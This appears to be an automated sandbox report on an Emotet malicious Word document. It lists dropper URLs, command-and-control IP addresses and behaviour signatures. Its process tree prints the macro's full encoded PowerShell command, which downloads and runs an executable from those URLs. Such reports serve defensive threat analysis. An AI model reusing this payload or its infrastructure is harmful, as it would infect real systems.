Analysis
- max time kernel
135s - max time network
131s - platform
windows10_x64 - resource
win10 - submitted
26/08/2020, 03:25
General
- Target emotet_e3_910eee0361a7b5135cea38da75ec98b71cecd2957a59b136c83baad0b2ed2861_2020-08-26__032403._doc.doc
- Size 226KB
- Sample200826-nxap7deamj
- SHA256 910eee0361a7b5135cea38da75ec98b71cecd2957a59b136c83baad0b2ed2861
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
exe.dropper
http://miradoors.md/backup/hFiCHxXv/
-
exe.dropper
http://kuntur.tur.ar/wp-admin/OBoiKylqUuhlh/
-
exe.dropper
https://mhsr.ch/wp-admin/qHvi9amkg5llk43185606/
-
exe.dropper
http://miradoors.ro/cgi-bin/vhUgA4mu6tg1x461/
-
exe.dropper
http://nikniek.nl/cgi-bin/A74t5p0sobrc273635587/
-
exe.dropper
http://qualityhairbundles.com/of/FIKQDxATiQHEd/
-
exe.dropper
http://karaz.atwebpages.com/admin/2a4j1aqkks855324/
Extracted
Family
-
emotet
C2
-
82.239.200.118:80
-
185.81.158.15:8080
-
51.255.15.193:7080
-
85.25.207.108:8080
-
107.161.30.122:8080
-
113.161.148.81:80
-
74.208.173.91:8080
-
139.59.12.63:8080
-
188.0.135.237:80
-
2.144.244.204:443
-
87.106.231.60:8080
-
181.137.229.1:80
-
173.94.215.84:80
-
175.29.183.2:80
-
37.46.129.215:8080
-
86.57.216.23:80
-
181.126.54.234:80
-
190.212.140.6:80
-
46.105.131.68:8080
-
190.190.15.20:80
rsa_pubkey.plain
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blacklisted process makes network request 4 IoCs
- Executes dropped EXE 2 IoCs
- Drops file in System32 directory 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 13 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 15 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_910eee0361a7b5135cea38da75ec98b71cecd2957a59b136c83baad0b2ed2861_2020-08-26__032403._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABYAGIAcwBjAGMAMQAwAD0AKAAoACcAWQA0ACcAKwAnAHUAZgAnACkAKwAoACcAcAAnACsAJwB4AGYAJwApACkAOwAmACgAJwBuACcAKwAnAGUAdwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABlAG4AdgA6AHQAZQBNAFAAXABXAE8AcgBkAFwAMgAwADEAOQBcACAALQBpAHQAZQBtAHQAeQBwAGUAIABkAGkAUgBFAGMAVABvAHIAeQA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAcwBgAEUAYwBVAFIAaQB0AFkAUABSAG8AdABvAGAAQwBgAG8AbAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAMgAsACcAKQArACgAJwAgACcAKwAnAHQAbAAnACkAKwAoACcAcwAxACcAKwAnADEAJwApACsAKAAnACwAJwArACcAIAB0AGwAJwApACsAJwBzACcAKQA7ACQARQByAGkAcAB0AG8AaAAgAD0AIAAoACgAJwBHAGwAJwArACcAawAnACsAJwB0ADAANwBjACcAKQArACcAOQAnACkAOwAkAFkAYwBpAHUAegBkADMAPQAoACgAJwBHADQAYwAnACsAJwBxACcAKQArACcAZwAnACsAJwBuADMAJwApADsAJABNAHUAbwBiAGwANgB5AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBQACcAKwAoACcAdgAnACsAJwBEAHcAJwApACsAKAAnAG8AcgAnACsAJwBkACcAKQArACgAJwBQAHYAJwArACcARAAyACcAKwAnADAAMQA5AFAAdgAnACsAJwBEACcAKQApAC0AUgBFAHAAbABBAEMARQAoACcAUAAnACsAJwB2AEQAJwApACwAWwBjAEgAYQByAF0AOQAyACkAKwAkAEUAcgBpAHAAdABvAGgAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFcAZABzAGwAcwB1AHQAPQAoACgAJwBOACcAKwAnAGcAaQAnACkAKwAoACcAZAAnACsAJwB6AHkAJwApACsAJwBhACcAKQA7ACQAUQByADIAMwBjAG4AOAA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwAnACsAJwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBlAHQALgB3AEUAYgBjAEwAaQBlAE4AVAA7ACQAVQBtADkAaQAxADQAZAA9ACgAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAOgAvACcAKQArACgAJwAvAG0AJwArACcAaQByAGEAZAAnACsAJwBvAG8AJwApACsAJwByACcAKwAoACcAcwAuACcAKwAnAG0AJwApACsAKAAnAGQALwAnACsAJwBiACcAKQArACcAYQBjACcAKwAnAGsAdQAnACsAJwBwAC8AJwArACcAaABGACcAKwAoACcAaQBDAEgAJwArACcAeABYAHYAJwArACcALwAqAGgAdAAnACkAKwAnAHQAcAAnACsAKAAnADoALwAvAGsAdQBuACcAKwAnAHQAdQByACcAKQArACgAJwAuAHQAJwArACcAdQByACcAKQArACgAJwAuAGEAJwArACcAcgAnACkAKwAnAC8AdwAnACsAJwBwACcAKwAnAC0AJwArACgAJwBhACcAKwAnAGQAbQBpACcAKQArACcAbgAvACcAKwAnAE8AJwArACcAQgBvACcAKwAoACcAaQBLAHkAJwArACcAbABxACcAKQArACgAJwBVAHUAJwArACcAaABsAGgALwAnACsAJwAqACcAKQArACgAJwBoAHQAJwArACcAdAAnACkAKwAoACcAcABzACcAKwAnADoALwAvAG0AaAAnACkAKwAoACcAcwAnACsAJwByAC4AJwApACsAJwBjAGgAJwArACgAJwAvAHcAcAAnACsAJwAtACcAKQArACcAYQAnACsAJwBkAG0AJwArACcAaQBuACcAKwAoACcALwBxAEgAdgAnACsAJwBpADkAYQBtACcAKwAnAGsAJwApACsAKAAnAGcANQBsACcAKwAnAGwAawA0ACcAKQArACgAJwAzADEAJwArACcAOAA1ADYAMAAnACkAKwAnADYAJwArACgAJwAvACcAKwAnACoAaAB0ACcAKQArACcAdAAnACsAKAAnAHAAJwArACcAOgAvACcAKQArACgAJwAvAG0AJwArACcAaQByACcAKQArACgAJwBhACcAKwAnAGQAbwBvAHIAcwAuACcAKQArACgAJwByAG8ALwBjAGcAJwArACcAaQAtACcAKQArACcAYgAnACsAJwBpACcAKwAoACcAbgAvACcAKwAnAHYAJwApACsAKAAnAGgAVQAnACsAJwBnAEEANAAnACkAKwAoACcAbQB1ADYAJwArACcAdAAnACkAKwAnAGcAMQAnACsAJwB4ACcAKwAoACcANAAnACsAJwA2ADEALwAqAGgAdAAnACsAJwB0AHAAOgAnACkAKwAoACcALwAnACsAJwAvAG4AJwApACsAJwBpACcAKwAoACcAawBuACcAKwAnAGkAJwApACsAKAAnAGUAawAuAG4AJwArACcAbAAnACkAKwAoACcALwBjACcAKwAnAGcAaQAtACcAKQArACcAYgAnACsAKAAnAGkAJwArACcAbgAvAEEANwAnACkAKwAoACcANAB0ADUAJwArACcAcAAnACkAKwAnADAAJwArACcAcwBvACcAKwAoACcAYgByACcAKwAnAGMAMgAnACkAKwAoACcANwAzADYAJwArACcAMwA1ACcAKQArACgAJwA1ACcAKwAnADgANwAvACcAKQArACgAJwAqAGgAJwArACcAdAB0AHAAJwApACsAJwA6ACcAKwAoACcALwAnACsAJwAvAHEAdQAnACkAKwAoACcAYQAnACsAJwBsAGkAJwApACsAKAAnAHQAJwArACcAeQBoACcAKQArACgAJwBhAGkAcgBiACcAKwAnAHUAJwApACsAJwBuACcAKwAnAGQAJwArACgAJwBsAGUAJwArACcAcwAnACkAKwAoACcALgBjAG8AJwArACcAbQAvAG8AZgAvACcAKwAnAEYAJwArACcASQAnACsAJwBLAFEARAB4AEEAJwApACsAJwBUACcAKwAnAGkAUQAnACsAJwBIAEUAJwArACcAZAAnACsAJwAvACoAJwArACcAaAAnACsAKAAnAHQAdAAnACsAJwBwACcAKQArACcAOgAnACsAJwAvACcAKwAoACcALwBrACcAKwAnAGEAcgAnACkAKwAoACcAYQB6ACcAKwAnAC4AYQAnACkAKwAnAHQAdwAnACsAKAAnAGUAJwArACcAYgAnACsAJwBwAGEAZwAnACsAJwBlAHMALgBjAG8AbQAvACcAKQArACgAJwBhACcAKwAnAGQAbQAnACkAKwAnAGkAbgAnACsAKAAnAC8AMgAnACsAJwBhADQAagAnACkAKwAoACcAMQBhAHEAJwArACcAawBrAHMAJwArACcAOAA1ACcAKQArACgAJwA1ADMAMgAnACsAJwA0ACcAKQArACcALwAnACkALgAiAHMAcABMAGAASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATwBvAGUAeAAyADAAagA9ACgAJwBVACcAKwAoACcAMgBnADUAYwAnACsAJwBqACcAKQArACcAYwAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABFAHcANwB6AGUAOQBpACAAaQBuACAAJABVAG0AOQBpADEANABkACkAewB0AHIAeQB7ACQAUQByADIAMwBjAG4AOAAuACIARABvAFcATgBMAE8AYABBAGQAYABGAGkAYABsAEUAIgAoACQARQB3ADcAegBlADkAaQAsACAAJABNAHUAbwBiAGwANgB5ACkAOwAkAE8AMABkADMAdQB4AGcAPQAoACgAJwBOADgAYgBzADcAJwArACcAegAnACkAKwAnADEAJwApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAE0AdQBvAGIAbAA2AHkAKQAuACIATABFAGAATgBHAFQASAAiACAALQBnAGUAIAAzADEAOQA3ADYAKQAgAHsALgAoACcASQAnACsAJwBuACcAKwAnAHYAbwBrAGUALQBJAHQAZQBtACcAKQAoACQATQB1AG8AYgBsADYAeQApADsAJABDADcAMwBpAGUANgA4AD0AKAAoACcAVQAnACsAJwB0ADMAbwAxAGoAJwApACsAJwBqACcAKQA7AGIAcgBlAGEAawA7ACQARwB1ADIAdQBqAHEAOQA9ACgAJwBUAGUAJwArACcANQA5ACcAKwAoACcAMwAnACsAJwA1AGQAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE8AYgBfAG8AawAyAHAAPQAoACgAJwBFADkAJwArACcAMgBkAG8AJwApACsAJwBfADUAJwApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\word\2019\Glkt07c9.exe"C:\Users\Admin\AppData\Local\Temp\word\2019\Glkt07c9.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Windows.Devices.Enumeration\udhisapi.exe"C:\Windows\SysWOW64\Windows.Devices.Enumeration\udhisapi.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1112-14-0x00000000005C0000-0x00000000005CC000-memory.dmp
memory/1444-17-0x0000000002320000-0x000000000232C000-memory.dmp
memory/1756-4-0x000001E8A8DE0000-0x000001E8A8DE5000-memory.dmp
memory/1756-7-0x000001E8A8EE9000-0x000001E8A8EFC000-memory.dmp
memory/1756-6-0x000001E8A8EE9000-0x000001E8A8EFC000-memory.dmp
memory/1756-5-0x000001E8A8EE9000-0x000001E8A8EFC000-memory.dmp
memory/1756-0-0x00007FFA40B00000-0x00007FFA411C6000-memory.dmp
memory/1756-3-0x000001E8A8DE0000-0x000001E8A8DE5000-memory.dmp
memory/1756-2-0x000001E8A8DE0000-0x000001E8A8DE5000-memory.dmp
memory/1756-1-0x000001E8A8DE0000-0x000001E8A8DE5000-memory.dmp
memory/3584-8-0x00007FFA38970000-0x00007FFA3935C000-memory.dmp
memory/3584-9-0x00000198ABBD0000-0x00000198ABBD1000-memory.dmp
memory/3584-10-0x00000198ABD80000-0x00000198ABD81000-memory.dmp